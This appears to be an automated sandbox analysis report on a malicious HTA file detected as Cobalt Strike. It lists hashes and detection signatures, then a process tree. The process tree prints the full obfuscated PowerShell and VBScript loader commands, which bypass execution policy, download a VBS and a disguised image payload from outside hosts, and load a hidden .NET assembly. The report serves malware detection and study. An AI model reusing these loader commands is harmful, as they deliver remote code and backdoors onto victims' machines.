Edit tour
Windows
Analysis Report
seethebestthingstobegoodwithhislifebestthigns.hta
Overview
General Information
| Sample name: | seethebestthingstobegoodwithhislifebestthigns.hta |
| Analysis ID: | 1541928 |
| MD5: | 0b1aa8ae190d05df71f4052fae67df5b |
| SHA1: | f6fe29f3e7830b15e3b244ba83216c029dcb60fb |
| SHA256: | 4e15eab180712f99efe5eea760beea458c7bfc4eeb5f5961b2b5d0c9b7611d3d |
| Tags: | htauser-abuse_ch |
| Infos: |   |
 | |
Detection
Cobalt Strike
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Cobalt Strike Beacon
Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Suricata IDS alerts for network traffic
Yara detected Powershell decode and execute
Yara detected Powershell download and execute
AI detected suspicious sample
Bypasses PowerShell execution policy
Found suspicious powershell code related to unpacking or dynamic code loading
Loading BitLocker PowerShell Module
Obfuscated command line found
PowerShell case anomaly found
Sigma detected: Base64 Encoded PowerShell Command Detected
Sigma detected: Dot net compiler compiles file from suspicious location
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
Sigma detected: Suspicious MSHTA Child Process
Sigma detected: Suspicious PowerShell Parameter Substring
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Compiles C# or VB.Net code
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Enables debug privileges
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found dropped PE file which has not been started or loaded
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Searches for the Microsoft Outlook file path
Sigma detected: Change PowerShell Policies to an Insecure Level
Sigma detected: Dynamic .NET Compilation Via Csc.EXE
Sigma detected: Potential Binary Or Script Dropper Via PowerShell
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
mshta.exe (PID: 5260 cmdline: mshta.exe "C:\Users\ user\Deskt op\seetheb estthingst obegoodwit hhislifebe stthigns.h ta" MD5: 06B02D5C097C7DB1F109749C45F3F505) 
powershell.exe (PID: 4432 cmdline: "C:\Window s\sYSTEm32 \WinDOWspO wershElL\v 1.0\pOweRs hEll.eXe" "PoWeRshEL L.exE -eX bYpASs -NOp -w 1 -c DEvIC ecrEdentia LdePlOYMen t.ExE ; Ie x($(IEx('[ sYsTem.TeX t.eNcOdiNg ]'+[ChAR]5 8+[chAR]0X 3A+'utf8.g etSTrIng([ sYsTeM.cOn vErt]'+[CH ar]0x3A+[c HaR]0x3A+' frOMbAsE64 StrinG('+[ ChAR]0x22+ 'JFQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgID0gI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI EFEZC1UWVB FICAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAtTUVtQ kVyZEVGSU5 pdGlvTiAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgJ 1tEbGxJbXB vcnQoIlVyb G1vbi5kTEw iLCAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgQ2hhc lNldCA9IEN oYXJTZXQuV W5pY29kZSl dcHVibGljI HN0YXRpYyB leHRlcm4gS W50UHRyIFV STERvd25sb 2FkVG9GaWx lKEludFB0c iAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgUmhQQVd hVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFpIT0d jVSxzdHJpb mcgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgIFFvLHV pbnQgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgIGxza GJQSHRzLEl udFB0ciAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAga ik7JyAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLU5 BbUUgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICJua WVlIiAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgICAgLW5 hbWVTcEFjZ SAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CAgcnB3WUl pRnNleCAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgL VBhc3NUaHJ 1OyAgICAgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgJFQ6O lVSTERvd25 sb2FkVG9Ga WxlKDAsImh 0dHA6Ly8xO TIuMy4xNzY uMTQxLzM2L 2dvb2R0aGl uZ3N3aXRoZ 3JlYXRjb21 lYmFja3dpd GhncmVhdHR oaWducy50S UYiLCIkRU5 WOkFQUERBV EFcZ29vZHR oaW5nc3dpd GhncmVhdGN vbWViYWNrd 2l0aGdyZWF 0dGhpZy52Y lMiLDAsMCk 7c1RhUnQtc 2xlZVAoMyk 7U3RhcnQgI CAgICAgICA gICAgICAgI CAgICAgICA gICAgICAgI CIkZU52OkF QUERBVEFcZ 29vZHRoaW5 nc3dpdGhnc mVhdGNvbWV iYWNrd2l0a GdyZWF0dGh pZy52YlMi' +[ChAr]34+ '))')))" MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
conhost.exe (PID: 4480 cmdline: C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6852 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -eX bYpASs -NOp -w 1 -c DEvICe crEdentiaL dePlOYMent .ExE MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) 
csc.exe (PID: 7264 cmdline: "C:\Window s\Microsof t.NET\Fram ework\v4.0 .30319\csc .exe" /noc onfig /ful lpaths @"C :\Users\us er\AppData \Local\Tem p\wasjhvt4 \wasjhvt4. cmdline" MD5: EB80BB1CA9B9C7F516FF69AFCFD75B7D) - cvtres.exe (PID: 7280 cmdline:
C:\Windows \Microsoft .NET\Frame work\v4.0. 30319\cvtr es.exe /NO LOGO /READ ONLY /MACH INE:IX86 " /OUT:C:\Us ers\user\A ppData\Loc al\Temp\RE S35E6.tmp" "c:\Users \user\AppD ata\Local\ Temp\wasjh vt4\CSCDEC CDD78A6DD4 1E39CFBA2A 99F0F744.T MP" MD5: 70D838A7DC5B359C3F938A71FAD77DB0) 
wscript.exe (PID: 7336 cmdline: "C:\Window s\System32 \WScript.e xe" "C:\Us ers\user\A ppData\Roa ming\goodt hingswithg reatcomeba ckwithgrea tthig.vbS" MD5: FF00E0480075B095948000BDC66E81F0) - powershell.exe (PID: 7408 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -command $ Codigo = ' KCgnVUNRaW 1hZ2VVcmwg PSAwVERodH RwczovL2Ry aXZlLmdvb2 dsZS5jb20v dWM/ZXhwb3 J0PWRvd25s b2EnKydkJy snJmlkPTFB SVZnSkpKdj FGNnZTNHNV T3libkgtc0 R2VWhCWXd1 ciAwVEQ7VU NRd2ViQ2xp ZW50ID0gTm V3LU9iamVj dCBTeXN0ZW 0uTmV0Llcn KydlYkNsaW VudDtVQ1Fp bWFnZUJ5dG VzID0gVUNR d2ViQ2xpZW 50LkRvd25s b2FkRGF0YS hVQ1FpbScr J2FnZVVybC k7VUNRaW1h Z2VUZXh0ID 0gW1N5c3Rl bS5UZXh0Lk VuY29kaW5n XTo6VVRGOC 5HZXRTdHJp bmcnKycoVU NRaW1hZ2VC eXRlcyk7VU NRc3RhcnRG bGFnID0gMF REPDxCQVNF NjRfU1RBUl Q+PjBURDtV Q1EnKydlbm RGbGFnID0g MFREPDxCQV NFNjRfRU5E Pj4wVEQ7VU NRc3RhcnRJ bmRleCA9IF VDUWltYWdl VGV4dC5Jbm RleE9mKFVD UXN0YXJ0Rm xhZyk7VUNR ZW5kSW5kZX ggPSBVQ1Fp bWFnZVRleH QuSW5kZXhP ZihVQ1Flbm RGbGFnKTtV Q1FzdCcrJ2 FydEluZGV4 IC1nZSAwIC 1hbmQgVUNR ZW5kSW5kZX ggLWd0IFVD UXN0YXJ0SW 5kZXg7VUNR c3RhcnRJbm RleCArPSBV Q1FzdGFydE ZsYWcuTGVu Z3RoO1VDUW Jhc2U2NCcr J0xlbmd0aC A9ICcrJ1VD JysnUScrJ2 VuZEluZGV4 IC0gVUNRc3 RhcnRJbmRl eDtVQ1FiYX NlNjRDb21t YW5kICcrJz 0gVUNRaW1h Z2VUZXh0Ll N1YnN0cmlu ZyhVQ1FzdG FydEluZGV4 LCBVQ1FiYX NlNjRMZW5n dGgpO1VDUW Jhc2U2NFJl dmVyc2VkID 0gLWpvaW4g KFVDUWJhc2 U2NENvbW1h bmQuVG9DaG FyQXJyYXko KSBQeXogRm 9yRWFjaC1P YmplY3Qgey BVQ1FfIH0p WycrJy0xLi 4tKFVDUWJh c2U2NENvbW 1hbmQuTGVu Z3RoKV07VU NRY29tbWFu ZEJ5dGVzID 0gW1N5c3Rl bS5Db252ZX J0XTo6RnJv bUJhc2U2NF N0cmluZyhV Q1FiYXNlNj RSZXZlcnNl ZCk7VUNRbG 9hZGVkQXNz JysnZW1ibH kgPSBbU3lz dGVtLlJlZm xlY3Rpb24u QXNzZW1ibH ldOjpMb2Fk KFVDUWNvbW 1hbmRCeXRl cyk7VUMnKy dRdmFpTWV0 aG9kID0gW2 RubGliLklP LkhvbScrJ2 VdLkdldE1l dGhvZCgwVE RWQUkwVEQp O1VDUXZhaU 1ldGhvZC5J bnZva2UoJy snVUNRJysn bnVsbCwgQC gwVER0eHQu SUtPTDAyJV NHT0wvNjMv MTQxLjYnKy c3MS4zLjI5 MS8vOnB0dG gwVEQsIDBU RGRlc2F0aX ZhZG8wVEQs IDBURGRlc2 F0aXZhZG8w VEQsIDBURG Rlc2F0aScr J3ZhZG8wVE QsIDBUREFk ZEluUHJvY2 VzczMyMFRE LCAwVERkZX NhdGl2YWRv MFRELCAwVE RkZXNhdGl2 YWRvMFRELD BURGRlc2F0 aXZhZG8wVE QsMFREZGVz YXRpdmFkbz BURCwnKycw VERkZXNhdG l2YWRvJysn MFRELDBURG Rlc2F0aXZh ZG8wVEQsMF REZGVzYXRp dmFkbzBURC wwVCcrJ0Qx MFRELDBURG Rlc2F0aXZh ZCcrJ28wVE QpKScrJzsn KS1yRXBsYW NFJ1VDUScs W2NIYVJdMz YgIC1yRXBs YWNFJzBURC csW2NIYVJd MzkgIC1yRX BsYWNFIChb Y0hhUl04MC tbY0hhUl0x MjErW2NIYV JdMTIyKSxb Y0hhUl0xMj QpIHwuICgo R0VULXZhUk lhQkxlICcq bWRyKicpLm 5hTUVbMywx MSwyXS1Kb0 lOJycp';$O Wjuxd = [s ystem.Text .encoding] ::UTF8.Get String([sy stem.Conve rt]::Fromb ase64Strin g($codigo) );powershe ll.exe -wi ndowstyle hidden -ex ecutionpol icy bypass -NoProfil e -command $OWjuxD MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC) - conhost.exe (PID: 7416 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 7592 cmdline:
"C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" -windowsty le hidden -execution policy byp ass -NoPro file -comm and "(('UC QimageUrl = 0TDhttps ://drive.g oogle.com/ uc?export= downloa'+' d'+'&id=1A IVgJJJv1F6 vS4sUOybnH -sDvUhBYwu r 0TD;UCQw ebClient = New-Objec t System.N et.W'+'ebC lient;UCQi mageBytes = UCQwebCl ient.Downl oadData(UC Qim'+'ageU rl);UCQima geText = [ System.Tex t.Encoding ]::UTF8.Ge tString'+' (UCQimageB ytes);UCQs tartFlag = 0TD<<BASE 64_START>> 0TD;UCQ'+' endFlag = 0TD<<BASE6 4_END>>0TD ;UCQstartI ndex = UCQ imageText. IndexOf(UC QstartFlag );UCQendIn dex = UCQi mageText.I ndexOf(UCQ endFlag);U CQst'+'art Index -ge 0 -and UCQ endIndex - gt UCQstar tIndex;UCQ startIndex += UCQsta rtFlag.Len gth;UCQbas e64'+'Leng th = '+'UC '+'Q'+'end Index - UC QstartInde x;UCQbase6 4Command ' +'= UCQima geText.Sub string(UCQ startIndex , UCQbase6 4Length);U CQbase64Re versed = - join (UCQb ase64Comma nd.ToCharA rray() Pyz ForEach-O bject { UC Q_ })['+'- 1..-(UCQba se64Comman d.Length)] ;UCQcomman dBytes = [ System.Con vert]::Fro mBase64Str ing(UCQbas e64Reverse d);UCQload edAss'+'em bly = [Sys tem.Reflec tion.Assem bly]::Load (UCQcomman dBytes);UC '+'QvaiMet hod = [dnl ib.IO.Hom' +'e].GetMe thod(0TDVA I0TD);UCQv aiMethod.I nvoke('+'U CQ'+'null, @(0TDtxt. IKOL02%SGO L/63/141.6 '+'71.3.29 1//:ptth0T D, 0TDdesa tivado0TD, 0TDdesati vado0TD, 0 TDdesati'+ 'vado0TD, 0TDAddInPr ocess320TD , 0TDdesat ivado0TD, 0TDdesativ ado0TD,0TD desativado 0TD,0TDdes ativado0TD ,'+'0TDdes ativado'+' 0TD,0TDdes ativado0TD ,0TDdesati vado0TD,0T '+'D10TD,0 TDdesativa d'+'o0TD)) '+';')-rEp lacE'UCQ', [cHaR]36 - rEplacE'0T D',[cHaR]3 9 -rEplacE ([cHaR]80 +[cHaR]121 +[cHaR]122 ),[cHaR]12 4) |. ((GE T-vaRIaBLe '*mdr*'). naME[3,11, 2]-JoIN'') " MD5: C32CA4ACFCC635EC1EA6ED8A34DF5FAC)
- cleanup
⊘No configs have been found
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
| |
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security | ||
| INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC | Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution | ditekSHen |
|
| Source | Rule | Description | Author | Strings |
|---|---|---|---|---|
| JoeSecurity_PowershellDecodeAndExecute | Yara detected Powershell decode and execute | Joe Security | ||
| JoeSecurity_PowershellDownloadAndExecute | Yara detected Powershell download and execute | Joe Security |
System Summary |   |
|---|
| Source: | Author: Florian Roth (Nextron Systems): | ||